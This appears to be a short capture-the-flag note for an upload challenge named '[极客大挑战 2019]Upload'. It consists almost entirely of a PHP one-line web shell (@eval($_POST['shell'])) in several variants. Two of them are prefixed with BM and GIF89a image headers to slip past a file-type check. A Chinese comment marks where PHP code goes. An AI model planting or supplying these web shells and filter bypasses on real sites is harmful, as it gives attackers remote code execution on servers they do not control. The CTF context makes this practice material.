[极客大挑战 2019]Upload

<script language="php">@eval($_POST['shell']);</script>

​

​

<script language="php">
	#这里写PHP代码哟！
</script>

​

​

BM
<script language="php">@eval($_POST['shell']);</script>

GIF89a
<script language="php">@eval($_POST['shell']);</script>